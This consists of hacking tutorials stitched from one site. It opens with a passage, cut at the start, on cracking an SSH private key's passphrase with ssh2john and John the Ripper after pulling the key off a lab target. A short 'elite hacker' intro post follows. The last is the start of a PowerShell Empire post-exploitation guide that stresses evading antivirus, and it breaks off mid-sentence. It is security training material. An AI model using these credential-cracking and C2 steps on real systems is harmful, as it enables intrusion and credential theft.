nullbyte:x:1003:1003:,,,:/home/nullbyte:/bin/bashNow we can switch to our new user with thesucommand:target:~$ su - nullbyte Password: nullbyte@target:~$Step 2: Generate a Key Pair on the TargetThe next thing we need to do is generate a public/private key pair. Thessh-keygenutility can easily take care of this for us. Use the default location, which will create the file in our home directory:nullbyte@target:~$ ssh-keygen Generating public/private rsa key pair. Enter file in which to save the key (/home/nullbyte/.ssh/id_rsa): Created directory '/home/nullbyte/.ssh'.We want our private key to be encrypted, so make sure to enter a password at the prompt (we'll use the passwordabc123just to keep it simple):Enter passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved in /home/nullbyte/.ssh/id_rsa. Your public key has been saved in /home/nullbyte/.ssh/id_rsa.pub. The key fingerprint is: 1b:01:68:cc:ea:4f:8e:b5:08:72:17:50:32:1b:98:e6 nullbyte@targetNow we can change into thehidden SSHdirectory:nullbyte@target:~$ cd .ssh/And verify our keys are there:nullbyte@target:~/.ssh$ ls -la total 16 drwx------ 2 nullbyte nullbyte 4096 2019-06-19 13:49 . drwxr-xr-x 3 nullbyte nullbyte 4096 2019-06-19 13:46 .. -rw------- 1 nullbyte nullbyte 1743 2019-06-19 13:49 id_rsa -rw-r--r-- 1 nullbyte nullbyte 405 2019-06-19 13:49 id_rsa.pubWe'll also need to create anauthorized_keysfile to make sure we're allowed to connect from our other machine:nullbyte@target:~/.ssh$ touch authorized_keysSet the appropriatepermissionson it to ensure only our user can read and write the file:nullbyte@target:~/.ssh$ chmod 600 authorized_keysThe public key needs to go in this file, so cat it out:nullbyte@target:~/.ssh$ cat id_rsa.pub ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA7IATfm6Y2VDtlEkWNGLJ5r9z9euOD1mHcWeB4vCcY+9M+XTEkILb8gk0/0uaNrLfBgcrZi8Y15wIib8122KYfwVIxVn0kbp5sggo4ZZQ9AXAPsdXyP8iIhCdbu34QkEu+pdq1jjK2QKbJRhRt4woAKGXxpApGfWdbyDdElo001VjjmDIpUwKU695YlF98baOlxgUdtW+zhL8J2W6cABeQEO3pXaiu560mJxSfRX8J++5djHiwJ9LMQAVD8khrvYfmnExeT1CuhNcbxdD/kU64ccV0zhecUQgXR1zEY/tWVdJL8wWfUnHWza2BiYqCeEhIdKGlVLvPUx5LbihLUFdCw== nullbyte@targetAnd copy it into the authorized_keys file, making sure there are no line breaks or extra spaces:nullbyte@target:~/.ssh$ nano authorized_keysStep 3: Get the Private Key on the Local MachineAt this point, we need to get the private key (id_rsa) on our local machine. This can happen through a variety of scenarios, like if we had read access due toLFIor evencommand injectionallowing us to execute certain commands.For demonstration purposes, we'll just transfer it over via HTTP. It's always a good idea to check which, if any, version ofPythonis installed:Don't Miss:Python 2 vs. Python 3 — Important Differences You Should Knownullbyte@target:~/.ssh$ which python /usr/bin/pythonWe can spin up a quick HTTP server with the following command:nullbyte@target:~/.ssh$ python -m SimpleHTTPServer Serving HTTP on 0.0.0.0 port 8000 ...On our local machine, we can usewgetto grab the file:~# wget http://10.10.0.50:8000/id_rsa --2020-04-15 12:19:39-- http://10.10.0.50:8000/id_rsa Connecting to 10.10.0.50:8000... connected. HTTP request sent, awaiting response... 200 OK Length: 1743 (1.7K) [application/octet-stream] Saving to: ‘id_rsa’ id_rsa 100%[=====================================================================================>] 1.70K --.-KB/s in 0.001s 2020-04-15 12:19:49 (2.18 MB/s) - ‘id_rsa’ saved [1743/1743]And verify its contents:~# cat id_rsa -----BEGIN RSA PRIVATE KEY----- Proc-Type: 4,ENCRYPTED DEK-Info: DES-EDE3-CBC,9A447029ABFAC605 WiRuWyOFt8x+eCwBIbRdhpa8pm1YIuBIC1Od73vslxlIcYYkSz8AqCr8k/sus6uY JHHO6KXjkJCpH/okU9bWGPzQf1cj2jWFf/y7EOSmd1e7RbIA8xWYcAWKPhnvwgnu z+d6SFSYyj4rkKUvqloclKCblp6M5sCza0YksTzmEJZz/tHWRwHGRG31TvJHiqxQ n9FpriG5MqZoegcYJgvt+z9rrPNf/jaZZb9ulYwxRn+5nCbWqBilu/Mh5knN608c uW2UyIlyJ2BpyYrOgqadTkMgIwrwERrbU6LmgVtZXCc6/cACdMwdu6gv17MtfOlM ytzEZ66aa98EFrFfuFX2LgoOBpi4nAAo3yZ7ISWpWnbnPFzhT89gBAdruh8fo5X4 07gAajsTiJrCW2nZSqBFx4BTAqYP7IcvDv2iAUEg6bfqC2bqpIfjYYcLuy0+YQv4 7uNH9jpT+ZfOY6VK4oG1p+1ieOVothNxcoj0+StUL5i5dQYoW9te8z8+qqswAE9S aobSSQAUvdNh07XH0TXg+QTsiJGLNMaWmwMBw50WkzJOwN759zuk2b1LbHTpsgbQ AngfcMfoHOvlhnHZNSbCeDB9SzQwkhLnQ6CktQaQaa5AY/E2ll+/W0Dmr4QEhk7e z30FE3QqZU7fqxx7esXTMm8z6lvhQNSWRRxsg48rHub+Mq739T+Yi7xK4C9SCzwe 7BYDqp2ekinCf+5OKf3UObNo5Cugb3viapDKHyWulH+dXdxSkLUsgzDoFdFz0H3m wvc8Qfn0JoVWFxwd1J3B32ZcEIneeGyotrODz5bRmqLv/T7mdM/HRASdonTROEPn G+Mv65R+MRiAhRIIZO3a8J8eSAzq3AVBuq+gbLabnNvGY2N7KSQ3OBV4XSDYS43R HuRz2u1GI+sXOr7ZXoQeKbl9qoymRvpppf5kI5IrQBoHGF92GGVLBGJOBg9M/YNc mLNm9lz2Y+9LmHU6lgq51a7ZfViVFvj+Us63DoSgdyHvC2oj2zWPOFf9Dm4r8aCO bFS2BFb7UvBd/G2GxnYFKygTHZhPmZ2y/5fBBF5IA/rbQdE5SqC2MJmB0oOgB07v csqQ5tX8guIxOnh/KHocR/B8Fwf90shrOWoVC0kqGZJN5PrepzPCvoMcJLknC0Q8 eUinaZ0r3UCv7z0gjlz66qWERIMlUczBnLALRf4nVkfP3NHrLinZooGnOh7pkXpm mg2qTXWnJ+vwfEDb4M0DYOFKa/AxO2wWsCuvc7ZJYvZL2HSWNVl6fRcFTWbrbIr/ ajTfjIclAonNYgGxoDAQKtSSolrNdOquemW79evgdAN/Jtbp5irV3bG0hTcJSIPp kVBSXe3pslX6BUeOPl9KFT9CNxIjNFZkJ/gUxIV9LOIEcmHCB04iGVFl/KQA2FWD 27fOZbQPG/h4XC6Zm2iGU7ub0FNA2rId1ZRXlE04gYu5g/nmnAOlSbcqcN+xoMmh L31FphscezkNda/Fw70+y/5buYGSs4tMsUKuiTkZsqSW9j3R9I/7KLHbpKX7fI7n OURnUxXvDLoXihVQ9kTgTJM6d8pbHYuda4po2IvXWqdnbtHP7Ezz4A== -----END RSA PRIVATE KEY-----Step 4: Install SSH2John on the Local MachineUnless the jumbo version ofJohn the Ripperis installed, we'll need to download ssh2john from GitHub since it's not included in the John the Ripper version that's installed in Kali Linux. (If you don't have John the Ripper installed, you can find out how to install it fromits GitHub.)~# wget https://raw.githubusercontent.com/magnumripper/JohnTheRipper/bleeding-jumbo/run/ssh2john.py --2020-06-07 12:26:03-- https://raw.githubusercontent.com/magnumripper/JohnTheRipper/bleeding-jumbo/run/ssh2john.py Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 199.232.28.133 Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|199.232.28.133|:443... connected. HTTP request sent, awaiting response... 200 OK Length: 7825 (7.6K) [text/plain] Saving to: ‘ssh2john.py’ ssh2john.py 100%[=====================================================================================>] 7.64K --.-KB/s in 0s 2020-06-07 12:26:04 (21.2 MB/s) - ‘ssh2john.py’ saved [7825/7825]Step 5: Crack the Private Key on the Local MachineAll we have to do is run it against the private key and direct the results to a new hash file using the ssh2john Python tool:~# python ssh2john.py id_rsa > id_rsa.hashNext, we'll useJohnto crack the password. But first, we need a suitablewordlist; we'll use a short one that already contains our password to keep it simple. Get it from here:~# wget https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/darkweb2017-top10.txt --2020-06-07 12:30:54-- https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/darkweb2017-top10.txt Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 199.232.28.133 Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|199.232.28.133|:443... connected. HTTP request sent, awaiting response... 200 OK Length: 81 [text/plain] Saving to: ‘darkweb2017-top10.txt’ darkweb2017-top10.txt 100%[=====================================================================================>] 81 --.-KB/s in 0s 2020-06-07 12:30:55 (2.28 MB/s) - ‘darkweb2017-top10.txt’ saved [81/81]Now run John like usual, feeding it thewordlistand the hash file:~# john --wordlist=darkweb2017-top10.txt id_rsa.hash Using default input encoding: UTF-8 Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64]) Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 1 for all loaded hashes Cost 2 (iteration count) is 2 for all loaded hashes Will run 4 OpenMP threads Note: This format may emit false positives, so it will keep trying even after finding a possible candidate. Press 'q' or Ctrl-C to abort, almost any other key for status abc123 (id_rsa) 1g 0:00:00:00 DONE (2020-06-07 12:32) 1.562g/s 15.62p/s 15.62c/s 15.62C/s 123456..123123 Session completedWe can see it identified our password, but just to be sure, let's use the--showcommand to verify:~# john --show id_rsa.hash id_rsa:abc123 1 password hash cracked, 0 leftStep 6: SSH into the TargetWe canSSHinto the target using the-ioption to specify a private key for authentication:~# ssh -i id_rsa [email protected] @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @ WARNING: UNPROTECTED PRIVATE KEY FILE! @ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ Permissions 0644 for 'id_rsa' are too open. It is required that your private key files are NOT accessible by others. This private key will be ignored. Load key "id_rsa": bad permissions [email protected]'s password:And we get an error. It won't allow us to use the key if permissions are too open, so all we have to do is set the permissions to be more restricted:~# chmod 400 id_rsaNow we are able to connect. Next, enter the cracked password at the prompt and we're in:~# ssh -i id_rsa [email protected] Enter passphrase for key 'id_rsa': Linux 2.6.24-16-server #1 SMP Tue July 07 13:58:00 UTC 2008 i686 The programs included with the Ubuntu system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. To access official Ubuntu documentation, please visit: http://help.ubuntu.com/ Last login: Fri Jun 19 15:20:16 2020 from 10.10.0.1 nullbyte@target:~$Wrapping UpIn this tutorial, we learned about SSH key-based authentication and how to crack private key passwords. First, we created a new user on the target system and generated an SSH key pair. Next, we obtained the private key from the target and used ssh2john to extract the hash. Finally, we cracked the private key password and used it to connect to the target.Don't Miss:How to Crack Shadow Hashes After Getting Root on a Linux SystemWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image bystevepb/Pixabay; Screenshots by drd_/Null ByteRelatedHack Like a Pro:How to Crack User Passwords in a Linux SystemHow To:Hack WPA/WPA2-Enterprise Part 2Hacking Windows 10:How to Intercept & Decrypt Windows Passwords on a Local NetworkHow To:Crack Shadow Hashes After Getting Root on a Linux SystemHack Like a Pro:Metasploit for the Aspiring Hacker, Part 8 (Setting Up a Fake SMB Server to Capture Domain Passwords)How To:Use John the Ripper in Metasploit to Quickly Crack Windows HashesHack Like a Pro:How to Crack Passwords, Part 2 (Cracking Strategy)How To:Crack Password-Protected Microsoft Office Files, Including Word Docs & Excel SpreadsheetsHacking Windows 10:How to Use SSH Tunnels to Forward Requests & Hack Remote RoutersHow To:Use the Chrome Browser Secure Shell App to SSH into Remote DevicesSPLOIT:How to Make an SSH Brute-Forcer in PythonSSH the World:Mac, Linux, Windows, iDevices and Android.Hack Like a Pro:How to Crack Private & Public SNMP Passwords Using OnesixtyoneHack Like a Pro:How to Crack Passwords, Part 1 (Principles & Technologies)How To:Change the SSH root password on the iPhone and iPodHow To:Brute-Force SSH, FTP, VNC & More with BruteDumHow To:Hack Metasploitable 2 Part 1Hacking Windows 10:How to Dump NTLM Hashes & Crack Windows PasswordsHow To:Safely Log In to Your SSH Account Without a PasswordHow To:How Hackers Take Your Encrypted Passwords & Crack ThemNews:Best Hacking SoftwareHow To:Create a Free SSH Account on Shellmix to Use as a Webhost & MoreHow To:Create an SSH Tunnel Server and Client in LinuxNews:Should district be allowed to demand middle-schooler's Facebook password?News:Advanced Cracking Techniques, Part 1: Custom DictionariesNews:Chip Tha Ripper - "Feel Good"How To:GPU Accelerate Cracking Passwords with HashcatMastering Security, Part 1:How to Manage and Create Strong PasswordsNews:Advanced Cracking Techniques, Part 2: Intelligent BruteforcingRainbow Tables:How to Create & Use Them to Crack PasswordsHide Your Secrets:How to Password-Lock a Folder in Windows 7 with No Additional SoftwareHow To:Remotely Control Computers Over VNC Securely with SSHHow To:Mask Your IP Address and Remain Anonymous with OpenVPN for LinuxNews:Windansea Beach - San Diego SurfersHow To:Recover WinRAR and Zip PasswordsHow To:Recover a Windows Password with OphcrackHow To:How Hackers Steal Your Internet & How to Defend Against ItHow To:Get the 'Jack the Ripper' and 'This Is My Boomstick' Achievements in Modern Warfare 3
How to Become an Elite Hacker, Part 1: Getting Started « Null Byte :: WonderHowTo
Who am I?First let me introduce myself. I am Th3skYf0x, an -well lets call itexperienced- hacker and i recently found this site and right after that i found this Null Byte "world" soo i thought... Why not teaching instead of doing nothing with my knowledge. Let me get one thing clear, i am not the best hacker in the world and will probably never be that. But i can always share my experiences.Getting started.Now let's get started. What does every hacker need to have?=> A good hacker-name=> A good OS (Operating System)=> A good "virtual Age"Step 1: A Good Hacker-Name/AliasAs EVERY hacker has an alias you will definitely need one and preferably a cool looking one :-)Let's start by looking at my name:Th3skYf0x.Its basically contains three words.Th3Pronounced as "The".I choose this because skYf0x was already being used by some dude on an anarchy site (Just google skYf0x). We don't want to see people getting the wrong idea right?!skYIf you ever watched a single cycle race (preferably the "Tour de France" you'll se that the team called "Sky" always wins! ;-)f0xI like the fact that foxes are very smart and cool animals thats why i choose to use the fox in my aliasYour aliasTo create you'r own hacker name you gonna have to use a bit of common sense. Be original! use a combination of upper/lower case and numbers.Quick tip! google you'r name first and then decide if you still want to keep itStep 2: A Good OSIf you think that you are only able to hack on linux based operating systems then you couldn't be more wrong! With the right tools and skill, a windows desktop can be as dangerous as a linux desktop.So choose wisely my fellow hackers!Quick tip! if you'r running on windows and you know how everything works and know about virtual machines stay on windows.Operating systemsWindows based:> Windows 7+> Windows vista-> Windows XP+Mac based:> Mac OS X (I have NO experience with apple whatsoever)?Linux based:> Ubuntu+> Backtrack+> Kali Linux+> Opensuse-> Debian-> Bugtraq+Choose you'r OSyourselfDon't let other people decides what's the best OS for you!Step 3: A Good "VIrtual Age"If you want to become a "good" hacker then you need to act as one!some things like proper use of grammer and emoticons are important.Why?Well thats really easy. we are not 10 years old anymore and you shouldn't see hacking as a joke. Its more some kind of art form. In order to learn something here you'll need to be quiet.My Next "How To"I will start of slowly doing some easy hacks. Then after some time has passed i will start doing more advanced hacking tutorials.Good luck my fellow hackerians!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow To:The Essential Skills to Becoming a Master HackerBecome an Elite Hacker, Part 3:Easy DDOSBecome an Elite Hacker Part 4:Hacking a Website. [Part 1]Advice from a Real Hacker:The Top 10 Best Hacker MoviesNews:How to Study for the White Hat Hacker Associate Certification (CWA)News:8 Tips for Creating Strong, Unbreakable PasswordsA Hackers Advice & Tip:Choosing Your Path. Knowing Where to Learn & How to Learn It **Newbies Please Read**White Hat Hacking:Hack the Pentagon?How To:Set up a handheld Zacuto Letus35 Elite on an HVX200How To:The Novice Guide to Teaching Yourself How to Program (Learning Resources Included)TypoGuy Explaining Anonymity:A Hackers MindsetNews:How Zero-Day Exploits Are Bought & SoldTera Online:Emphasis on GameplayMastering Security, Part 1:How to Manage and Create Strong PasswordsCommunity Byte:HackThisSite Walkthrough, Part 5 - Legal Hacker TrainingNews:The Coach's Corner/Pre-PubertyThe Social Network Wars:Google+ vs FacebookNews:Let Me Introduce MyselfGoodnight Byte:HackThisSite Walkthrough, Part 4 - Legal Hacker TrainingPhoto Essay:Children of the Russian OligarchsHow To:Chain VPNs for Complete AnonymityHow To:How Hackers Take Your Encrypted Passwords & Crack ThemHow To:Score Free Game Product Keys with Social EngineeringHow To:Secure Your Computer with Norton DNSCommunity Byte:HackThisSite Walkthrough, Part 6 - Legal Hacker TrainingIntroduction to Cryptography:Archaic BeginningsCommunity Byte:HackThisSite Walkthrough, Part 2 - Legal Hacker TrainingNews:El triatlon del dolorCommunity Byte:HackThisSite Walkthrough, Part 3 - Legal Hacker TrainingNews:Next Professor Layton Game to Include 100-Hour Long Bonus RPGNews:Joseph Kony hunt is proving difficult for U.S. troopsCommunity Byte:HackThisSite, Realistic 3 - Real Hacking SimulationsHow To:How Hackers Steal Your Internet & How to Defend Against ItNews:Why Does America Call it Soccer?
How to Use PowerShell Empire: Getting Started with Post-Exploitation of Windows Hosts « Null Byte :: WonderHowTo
PowerShell Empireis a post-exploitation framework for computers and servers running Microsoft Windows, Windows Server operating systems, or both. In these tutorials, we will be exploring everything from how to install Powershell Empire to how to snoop around a target's computer without the antivirus software knowing about it. If we are lucky, we might even be able to obtain domain administrator credentials and own the whole network.A Tool for Targeting WindowsExploit frameworks are popular, and most hackers have heard ofMetasploit, a framework that automates the deployment of powerful exploits. You may be asking yourself, how does PowerShell Empire differ from Metasploit? Isn't Metasploit already serving the same purpose? Well, yes and no. PowerShell Empire deals strictly with Windows machines, and it is advantageous in a penetration test because most targets these days are running some version of Windows.Don't Miss:The Ultimate Command Sheet for Metasploit's MeterpreterA simple example of this point would be the widespread usage of excel on Microsoft Windows. Since Microsoft Excel has more advanced features than the Mac version (as well as Office 365), we can assume that the finance department of most target companies will be using Microsoft Windows. Finance departments also usually have access to bank account numbers and other juicy data!PowerShell Empire also gives the attacker the ability to run commands in memory, which means that the malicious actions being taken by PowerShell Empire are not run on the hard drive. They are instead run in the computer's memory, which reduces the likelihood of being caught by antivirus software as well as the possibility of leavingdigital fingerprints for forensics investigators.When to Use PowerShell EmpireSome of the activities and goals that can be accomplished include privilege escalation (elevating privileges from a standard user account to an administrator), network and hostreconnaissance(finding out what hosts and services are present), lateral movement between hosts, and the gathering of credentials. All of these are vital components of a modern-day penetration test.PowerShell Empire accomplishes this via three main components: listeners, stagers, and agents.A listener is a process that listens for a connection from the machine we are attacking. It helps Empire send the loot back to the attacker's computer.A stager is a snippet of code that allows our malicious code to be run via the agent on the compromised host.An agent is a program that maintains a connection between your computer and the compromised host.Lastly, modules are where the fun is. These are what execute our malicious commands, which can harvest credentials and escalate our privileges, as mentioned above.Now that we have discussed what PowerShell Empire does and why it is useful, let's take a look at how to get it up and running.Step 1: Installing PowerShell EmpireTo run Powershell, you will need a Kali Linux machine. If you need a good starter Kali computer for hacking, you can check out our guide on setting one up on thelow-cost Raspberry Pibelow.Learn More:Build a Kali Linux Hacking Computer on the Raspberry PiTo install Empire on your Kali Linux machine, we need to clone it from GitHub. Open a terminal and type the following command, as shown below.~# git clone https://github.com/EmpireProject/Empire.git Cloning into 'Empire'... remote: Enumerating objects: 12216, done. remote: Total 12216 (delta 0), reused 0 (delta 0), pack-reused 12216 Receiving objects: 100% (12216/12216), 22.14 MiB | 9.67 MiB/s, done. Resolving deltas: 100% (8307/8307), done.That will create a new directory with the name "Empire." Move into that directory by typingcdEmpire, then use thelscommand to view the contents of the directory.~# cd Empire ~/Empire# ls changelog Dockerfile lib plugins setup data empire LICENSE README.md VERSIONYou can read about Empire in theREADME.mdfile.~/Empire# leafpad README.md # Empire ## This project is no longer supported Empire is a post-exploitation framework that includes a pure-PowerShell2.0 Windows agent, and a pure Python 2.6/2.7 Linux/OS X agent. It is the merge of the previous PowerShell Empire and Python EmPyre projects. The framework offers cryptologically-secure communications and a flexible architecture. On the PowerShell side, Empire implements the ability to run PowerShell agents without needing powershell.exe, rapidly deployable post-exploitation modules ranging from key loggers to Mimikatz, and adaptable communications to evade network detection, all wrapped up in a usability-focused framework. PowerShell Empire premiered at [BSidesLV in 2015](https://www.youtube.com/watch?v=Pq9t59w0mUI) and Python EmPyre premeiered at HackMiami 2016. Empire relies heavily on the work from several other projects for its underlying functionality. We have tried to call out a few of those people we've interacted with [heavily here](http://www.powershellempire.com/?page_id=2) and have included author/reference link information in the source of each Empire module as appropriate. If we have failed to improperly cite existing or prior work, please let us know. Empire is developed by [@harmj0y](https://twitter.com/harmj0y), [@sixdub](https://twitter.com/sixdub), [@enigma0x3](https://twitter.com/enigma0x3), [rvrsh3ll](https://twitter.com/424f424f), [@killswitch_gui](https://twitter.com/killswitch_gui), and [@xorrior](https://twitter.com/xorrior). Feel free to join us on Slack! https://bloodhoundgang.herokuapp.com ## Install To install, run `sudo ./setup/install.sh` script or use the corresponding docker image `docker pull empireproject/empire`. There's also a [quickstart here](http://www.powershellempire.com/?page_id=110) and full [documentation here](http://www.powershellempire.com/?page_id=83). ## Quickstart Check out the [Empire wiki](https://github.com/EmpireProject/Empire/wiki/Quickstart) for instructions on getting started with Empire. ## Contribution Rules Contributions are more than welcome! The more people who contribute to the project the better Empire will be for everyone. Below are a few guidelines for submitting contributions. * Beginning with version 2.4, we will only troubleshoot issues for Kali, Debian, or Ubuntu. All other operating systems will not be supported. We understand that this is frustrating but hopefully the new docker build can provide an alternative. * Submit pull requests to the [dev branch](https://github.com/powershellempire/Empire/tree/dev). After testing, changes will be merged to master. * Depending on what you're working on, base your module on [./lib/modules/powershell_template.py](lib/modules/powershell_template.py) or [./lib/modules/python_template.py](lib/modules/python_template.py). **Note** that for some modules you may need to massage the output to get it into a nicely displayable text format [with Out-String](https://github.com/PowerShellEmpire/Empire/blob/0cbdb165a29e4a65ad8dddf03f6f0e36c33a7350/lib/modules/situational_awareness/network/powerview/get_user.py#L111). * Cite previous work in the **'Comments'** module section. * If your script.ps1 logic is large, may be reused by multiple modules, or is updated often, consider implementing the logic in the appropriate **data/module_source/*** directory and [pulling the script contents into the module on tasking](https://github.com/PowerShellEmpire/Empire/blob/0cbdb165a29e4a65ad8dddf03f6f0e36c33a7350/lib/modules/situational_awareness/network/powerview/get_user.py#L85-L95). * Use [approved PowerShell verbs](https://technet.microsoft.com/en-us/library/ms714428(v=vs.85).aspx) for any functions. * PowerShell Version 2 compatibility is **STRONGLY** preferred. * TEST YOUR MODULE! Be sure to run it from an Empire agent before submitting a pull to ensure everything is working correctly. * For additional guidelines for your PowerShell code itself, check out the [PowerSploit style guide](https://github.com/PowerShellMafia/PowerSploit/blob/master/README.md).You will see a "setup" folder inside the Empire directory. Navigate to that folder by typingcd setup, then use thelscommand to view the contents of the "setup" folder. You can see an install shell script, as shown below.~/Empire# cd setup ~/Empire/setup# ls cert.sh install.sh requirements.txt reset.sh setup_database.pyType./install.shto install Empire by running the script. During the installation process, you will be asked to set up a server negotiation password. I set it as "toor" but you can choose your own password. If everything went well, the installation would finish, as shown below.~/Empire/setup# ./install.sh Reading package lists... Done Building dependency tree Reading state information... Done default-jdk is already the newest version (2:1.11-72). make is already the newest version (4.2.1-1.2). make set to manually installed. python-dev is already the newest version (2.7.17-2). python-pip is already the newest version (18.1-5). The following packages were automatically installed and are no longer required: ... [>] Enter server negotiation password, enter for random generation: toor [*] Database setup completed! [*] Certificate written to ../data/empire-chain.pem [*] Private key written to ../data/empire-priv.key [*] Setup complete!We are done with the installation. Now, it's time to start Empire.Step 2: Running Powershell EmpireMove back to the Empire directory by typingcd ..and run the./empireexecutable as shown. It will start as seen below.~/Empire/setup# cd .. ~/Empire# ./empire [*] Loading stagers from: /root/Empire//lib/stagers/ [*] Loading modules from: /root/Empire//lib/modules/ [*] Loading listeners from: /root/Empire//lib/listeners/If Empire displays an error while starting, navigate to the "setup" folder withcd setupand run the./reset.shscript. Then, restart Empire again as we did before. If that still doesn't work, you may need to install some missing modules. Here are the ones I had to install:~/Empire# python -m pip install iptools netifaces pydispatch pydispatcher zlib_wrapper macholib xlrd xlutils pyminifier dropboxAfter you start Empire, it will display a welcome message as shown below.~/Empire# ./empire [*] Loading stagers from: /root/Empire//lib/stagers/ [*] Loading modules from: /root/Empire//lib/modules/ [*] Loading listeners from: /root/Empire//lib/listeners/ [*] Starting listener 'meterp' [+] Listener successfully started! [*] Starting listener 'http' * Serving Flask app "http" (lazy loading) * Environment: production WARNING: Do not use the development server in a production environment. Use a production WSGI server instead. * Debug mode: off [+] Listener successfully started! [*] Empire starting up... ````````` ``````.--::///+ ````-+sydmmmNNNNNNN ``./ymmNNNNNNNNNNNNNN ``-ymmNNNNNNNNNNNNNNNNN ```ommmmNNNNNNNNNNNNNNNNN ``.ydmNNNNNNNNNNNNNNNNNNNN ```odmmNNNNNNNNNNNNNNNNNNNN ```/hmmmNNNNNNNNNNNNNNNNMNNN ````+hmmmNNNNNNNNNNNNNNNNNMMN ````..ymmmNNNNNNNNNNNNNNNNNNNN ````:.+so+//:---.......----::- `````.`````````....----:///++++ ``````.-/osy+////:::---...-dNNNN ````:sdyyydy` ```:mNNNNM ````-hmmdhdmm:` ``.+hNNNNNNM ```.odNNmdmmNNo````.:+yNNNNNNNNNN ```-sNNNmdh/dNNhhdNNNNNNNNNNNNNNN ```-hNNNmNo::mNNNNNNNNNNNNNNNNNNN ```-hNNmdNo--/dNNNNNNNNNNNNNNNNNN ````:dNmmdmd-:+NNNNNNNNNNNNNNNNNNm ```/hNNmmddmd+mNNNNNNNNNNNNNNds++o ``/dNNNNNmmmmmmmNNNNNNNNNNNmdoosydd `sNNNNdyydNNNNmmmmmmNNNNNmyoymNNNNN :NNmmmdso++dNNNNmmNNNNNdhymNNNNNNNN -NmdmmNNdsyohNNNNmmNNNNNNNNNNNNNNNN `sdhmmNNNNdyhdNNNNNNNNNNNNNNNNNNNNN /yhmNNmmNNNNNNNNNNNNNNNNNNNNNNmhh `+yhmmNNNNNNNNNNNNNNNNNNNNNNmh+: `./dmmmmNNNNNNNNNNNNNNNNmmd. `ommmmmNNNNNNNmNmNNNNmmd: :dmmmmNNNNNmh../oyhhhy: `sdmmmmNNNmmh/++-.+oh. `/dmmmmmmmmdo-:/ossd: `/ohhdmmmmmmdddddmh/ `-/osyhdddddhyo: ``.----.` Welcome to the EmpireUpon completion, Empire will show the following screen.================================================================ [Empire] Post-Exploitation Framework ================================================================ [Version] 2.5 | [Web] https://github.com/empireProject/Empire ================================================================ _______ .___ ___. .______ __ .______ _______ | ____|| \/ | | _ \ | | | _ \ | ____| | |__ | \ / | | |_) | | | | |_) | | |__ | __| | |\/| | | ___/ | | | / | __| | |____ | | | | | | | | | |\ \----.| |____ |_______||__| |__| | _| |__| | _| `._____||_______| 285 modules currently loaded 0 listeners currently active 0 agents currently active (Empire) >As of this writing, Empire has 285 modules. Don't worry if these sound like complicated ninjitsu techniques; with diligence and practice, you will learn what modules, listeners, and agents are. By the end of this series, you will get a clear idea of what these are and how to use them.First, let's start by typing thehelpcommand, which will display the help menu, as seen below.(Empire) > help Commands ======== agents Jump to the Agents menu. creds Add/display credentials to/from the database. exit Exit Empire help Displays the help menu. interact Interact with a particular agent. list Lists active agents or listeners. listeners Interact with active listeners. load Loads Empire modules from a non-standard folder. plugin Load a plugin file to extend Empire. plugins List all available and active plugins. preobfuscate Preobfuscate PowerShell module_source files reload Reload one (or all) Empire modules. report Produce report CSV and log files: sessions.csv, credentials.csv, master.log reset Reset a global option (e.g. IP whitelists). resource Read and execute a list of Empire commands from a file. searchmodule Search Empire module names/descriptions. set Set a global option (e.g. IP whitelists). show Show a global option (e.g. IP whitelists). usemodule Use an Empire module. usestager Use an Empire stager.Step 3: Using ListenersListenersin Empire are the channels that receive connections from our target machine. Before we do anything in Empire, we need to start the listeners. We can move to the listener management menu by typing commandlistenersas shown below.(Empire) > listeners [!] No listeners currently active (Empire: listeners) > help Listener Commands ================= agents Jump to the agents menu. back Go back to the main menu. creds Display/return credentials from the database. delete Delete listener(s) from the database disable Disables (stops) one or all listeners. The listener(s) will not start automatically with Empire edit Change a listener option, will not take effect until the listener is restarted enable Enables and starts one or all listners. exit Exit Empire. help Displays the help menu. info Display information for the given active listener. kill Kill one or all active listeners. launcher Generate an initial launcher for a listener. list List all active listeners (or agents). listeners Jump to the listeners menu. main Go back to the main menu. resource Read and execute a list of Empire commands from a file. uselistener Use an Empire listener module. usestager Use an Empire stager.Once we move to the listeners' management menu, as shown above, we can see its sub-menu by typing thehelpcommand. Let's take a look at what each command will do.agents- Will allow you to jump to agents menu.back & main– Will take you back to the main menu.exit– Will exit from Empire.help– Will display help menu as shown in the above image.info– Will display information about the active listener.kill– Will kill a particular listener.launcher– Used to generate an initial launcher for a listener.list– Will list all the active listeners.usestager– Used to use a stager (we will see below what exactly is a stager).uselistener– Used to start a listener module.Let us now look at how to start a listener module in Empire. Type theuselistenercommand, and use tab-completion to see the listeners available in Empire. (If tab-completion isn't working, try enabling the feature withapt install bash-completion.)(Empire: listeners) > uselistener dbx http_com http_hop http http_foreign meterpreterThe types of listeners available are shown above. We will learn 